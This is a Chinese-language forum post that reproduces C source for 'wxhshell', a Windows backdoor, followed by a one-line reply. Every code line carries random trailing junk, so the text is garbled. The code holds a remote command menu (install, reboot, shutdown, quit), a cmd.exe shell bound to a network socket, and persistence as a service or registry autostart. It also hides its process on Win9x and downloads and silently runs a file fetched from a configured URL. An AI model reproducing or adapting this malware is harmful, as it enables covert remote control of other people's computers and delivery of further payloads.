  } 11YJ W-V  
  else { S2;^  
VgODv  
    switch(cmd[0]) { 1:<(Q2X%  
  rhy-o?  
  // 帮助 } `r.fD  
  case '?': { U1X"UN)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 86N,04  
    break; -{k8^o7$  
  } 83SK<V6  
  // 安装 IQ~qiFCf  
  case 'i': { }8#Ed;%K  
    if(Install()) bT&{8a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `=P_ed%&'  
    else Mmu#hb|W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FZ ?eX`,  
    break; BZHoRd{EH  
    } ]W14'Z  
  // 卸载 Xd5s8C/}  
  case 'r': { Q,^/Lm|]k  
    if(Uninstall()) t@9-LYbL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V){Io_"  
    else r6'dEa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u*;H$&  
    break; Wm`*IBWA  
    } p\&/m  
  // 显示 wxhshell 所在路径 7xv9v1['  
  case 'p': { jhQoBC>:  
    char svExeFile[MAX_PATH]; =>`z k^  
    strcpy(svExeFile,"\n\r");  <{Y3}Q  
      strcat(svExeFile,ExeFile); NRJp8G Z%U  
        send(wsh,svExeFile,strlen(svExeFile),0); DE?k|Get2  
    break; Qd kus 214  
    } QfAmGDaYQ  
  // 重启 v9-4yZU^WR  
  case 'b': {  IPK1g3Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7~XA92  
    if(Boot(REBOOT)) vm_]X{80;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W/xPVmnV  
    else { S-q"'5>  
    closesocket(wsh); t#|R"Q#  
    ExitThread(0); qvB{vU  
    } |cY,@X,X6  
    break; 8|=C/k  
    } (w)%2vZ^  
  // 关机 1:](=%oM&k  
  case 'd': { x@Z{5w_a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #f24a?n|  
    if(Boot(SHUTDOWN)) ~Jr'4%   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T`fT[BaY  
    else { #jg-q|nd  
    closesocket(wsh); bUm%#a  
    ExitThread(0); `1(ED= |  
    } _Ffg"xoC  
    break; " WQ6[;&V  
    } ]zaTX?F:  
  // 获取shell t-KicLr  
  case 's': { _$c o Y  
    CmdShell(wsh); .,xyE--;d  
    closesocket(wsh); sV,Yz3E<u$  
    ExitThread(0); 1L4-;HYJm  
    break; aYT!xdCI  
  } ~LpkA`Hn!  
  // 退出 \DS*G7.A+&  
  case 'x': { Lk,q~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SDO:Gma  
    CloseIt(wsh); 'LPyh ;!f  
    break; t e-xhJ&K  
    } (9I(e^@]  
  // 离开 q9rm9#}[J#  
  case 'q': { FsJk"$}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZAn @NA=  
    closesocket(wsh); n4S`k%CI  
    WSACleanup(); xw}yl4WT{  
    exit(1); .Ji9j[[#D  
    break; h>D;QY  
        } tt?`,G.(]  
  } E-.X%xfO  
  } >9A18xC  
C{85#`z`  
  // 提示信息 G`O*AQ}[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rP7 QW)NF  
} c86KDEF  
  } uq s   
!'^l}K>  
  return; "/e)v{  
} =bC'>qw}  
VqW5VL a  
// shell模块句柄 ">. k 6Q  
int CmdShell(SOCKET sock) j [lS.Lb  
{ 06^/zr  
STARTUPINFO si; z6@8IszU  
ZeroMemory(&si,sizeof(si)); [?I<$f"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A(E}2iP9=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3{?X>6T  
PROCESS_INFORMATION ProcessInfo; s2SV   
char cmdline[]="cmd"; y4h =e~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $rcv@-l  
  return 0; "ymR8 y'  
} 5s3QN{h8  
yPtE5"(o  
// 自身启动模式 K*T^w3=  
int StartFromService(void) XN Uw  
{ i,<'AL )  
typedef struct Itr 4 Pr  
{ #%nV\ Bl  
  DWORD ExitStatus; T,9q~*"  
  DWORD PebBaseAddress; 2sIt~ Gn  
  DWORD AffinityMask; PY7H0\S)  
  DWORD BasePriority; \f^xlX3&`  
  ULONG UniqueProcessId; {guOAT- w  
  ULONG InheritedFromUniqueProcessId; &mVClq  
}   PROCESS_BASIC_INFORMATION; e`g+Jf`AT  
y@~ VE5N  
PROCNTQSIP NtQueryInformationProcess; }8tF.QjR|  
W.[!Q`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W..*!UGl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^@*`vz^_  
mTtaqo_Bh  
  HANDLE             hProcess; ;LP3  
  PROCESS_BASIC_INFORMATION pbi; Wjl2S+Cc  
Dch\k<Te  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o0`']-)*2  
  if(NULL == hInst ) return 0; 6?[P^{GpH  
G$TO'Ciu:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p%mHxYP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b-VtQ%Q  
7 nnF!9JOv  
  if (!NtQueryInformationProcess) return 0; K9Mz4K_  
2YZ>nqy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |D-[M_T5  
  if(!hProcess) return 0; RR[zvH} E  
)TiM>{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T}^3Re`i  
]$L5}pE3  
  CloseHandle(hProcess); (o B4*  
o-H?q!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v%T'!(0j/  
if(hProcess==NULL) return 0; a r8iuwfZ  
$?W2'Xm!V  
HMODULE hMod; q}L`8(a  
char procName[255]; 5xdeuBEY8  
unsigned long cbNeeded;  4t(/F`  
;&CLb`<y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g?"QahH G  
7!cLTq  
  CloseHandle(hProcess); \_,p@r]Q  
TSewq4`K  
if(strstr(procName,"services")) return 1; // 以服务启动 V5ZC2H  
I9G^T' W  
  return 0; // 注册表启动 tIDN~[1  
}  :2nsi4  
vwu/33  
// 主模块 *V',@NH#Os  
int StartWxhshell(LPSTR lpCmdLine) ni{'V4A  
{ V:y6NfL7i'  
  SOCKET wsl; \B~ g5}=  
BOOL val=TRUE; 7u&l]NC?y  
  int port=0; f:+/= MW  
  struct sockaddr_in door; uc+{<E3,%  
q]OIP"yv  
  if(wscfg.ws_autoins) Install(); Ph""[0n%o  
O>pX(DS L  
port=atoi(lpCmdLine); 4@fv%LOQo  
_N|%i J5  
if(port<=0) port=wscfg.ws_port; Ga02Zk  
#<[&Lw  
  WSADATA data; !0?o3,of-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R]%"YQ V  
'u v=D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d*s*AV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EP@u4F  
  door.sin_family = AF_INET; oH6zlmqG"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZT!8h$SE:  
  door.sin_port = htons(port); Vxap+<m  
@-[}pZ/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /gF)msUF  
closesocket(wsl); ^OQP;5 #K  
return 1; 2LUsqL\m}.  
} N2s"$Ttq  
}UsH#!9.  
  if(listen(wsl,2) == INVALID_SOCKET) { %pq.fZ I   
closesocket(wsl); G?$o+Y'F  
return 1; ^L $`)Ja  
} VnW6$W?g  
  Wxhshell(wsl); bdstxjJ`  
  WSACleanup(); :5/Ue,~ag  
EF:ec9 .  
return 0; d lfjx  
5&Yt=)c\  
} zs]ubJC@  
8a 8a:d  
// 以NT服务方式启动 36OQHv;&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SeXgBbGAne  
{ 9Zl4NV&B  
DWORD   status = 0; ;6PU  
  DWORD   specificError = 0xfffffff; u]NsCHKlT  
c>D~MCNxg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u=InE|SH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;&J>a8B$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kl:/PM^  
  serviceStatus.dwWin32ExitCode     = 0; Ywhhs }f  
  serviceStatus.dwServiceSpecificExitCode = 0; qX\85dPn@}  
  serviceStatus.dwCheckPoint       = 0; VC/n}7p  
  serviceStatus.dwWaitHint       = 0; [?7QmZK  
m   uO.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {2:baoG-  
  if (hServiceStatusHandle==0) return; ?aTH<  
nD/B :0'  
status = GetLastError(); Mu`_^gG  
  if (status!=NO_ERROR) TM6wjHFm  
{ 3_  J'+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r~T!$Tb  
    serviceStatus.dwCheckPoint       = 0; LAk .f  
    serviceStatus.dwWaitHint       = 0; "W6cQsi  
    serviceStatus.dwWin32ExitCode     = status; ?9{^gW4|  
    serviceStatus.dwServiceSpecificExitCode = specificError; el5Pe{j '  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GEy7Vb)  
    return; cwvJH&%0  
  } 5lHt~hB\  
a({Rb?b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I-!7 EC2{!  
  serviceStatus.dwCheckPoint       = 0; kIS )*_  
  serviceStatus.dwWaitHint       = 0; _ -RqkRI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gWU#NRRc  
} Ag0w8F  
V z  
// 处理NT服务事件,比如:启动、停止 Qc*p+N+$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C0w_pu  
{ Ux',ma1JK  
switch(fdwControl) d4IQ;u  
{ bX38=.up  
case SERVICE_CONTROL_STOP: C {*?  
  serviceStatus.dwWin32ExitCode = 0; b&`~%f-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A94:(z;{  
  serviceStatus.dwCheckPoint   = 0; Y_n/rD>  
  serviceStatus.dwWaitHint     = 0; m_Hg!Lg  
  { :a&M]+!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5: gpynE|  
  } qfT9g>EF  
  return; <#BK(W~$  
case SERVICE_CONTROL_PAUSE: y]{b4e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?yAb=zI1b  
  break; e:-pqZT`  
case SERVICE_CONTROL_CONTINUE: 4ZUtK/i+r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~N9k8eT  
  break; "Fmq$.$%  
case SERVICE_CONTROL_INTERROGATE: M/W9"N[ta  
  break; *sp")h#Z  
}; wE1GyN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); />Zfx.Aj6  
} &#C&0f8PnD  
r|}Pg}O  
// 标准应用程序主函数 7<70\ 6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5,XEN$^  
{ }!fIY7gv  
a+z>pV|  
// 获取操作系统版本 p\_3g!G'  
OsIsNt=GetOsVer(); `_LQs9J0J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X n0HJ^"_  
xp:I(  
  // 从命令行安装 %9zpPr WF  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0aR.ct%  
$Xo_8SX,  
  // 下载执行文件 nl2Lqu1  
if(wscfg.ws_downexe) { Jityb}Z"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DHn\ =M  
  WinExec(wscfg.ws_filenam,SW_HIDE); w;$elXP|  
} dAG@'A\f  
iDDq<a.A  
if(!OsIsNt) { >j]Gz-wC  
// 如果时win9x,隐藏进程并且设置为注册表启动 tC1'IE-h  
HideProc(); %Jl6e}!  
StartWxhshell(lpCmdLine); >N! Xey  
} mgjcA5z  
else gF9GU5T:  
  if(StartFromService()) @+~URIG)  
  // 以服务方式启动 'U&]KSzxv  
  StartServiceCtrlDispatcher(DispatchTable); ;LC|1_ '  
else y /8iEs  
  // 普通方式启动 ?7CdJgJp  
  StartWxhshell(lpCmdLine); 2vUcSKG7  
D3g5#.$,}>  
return 0; G@D8 [  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五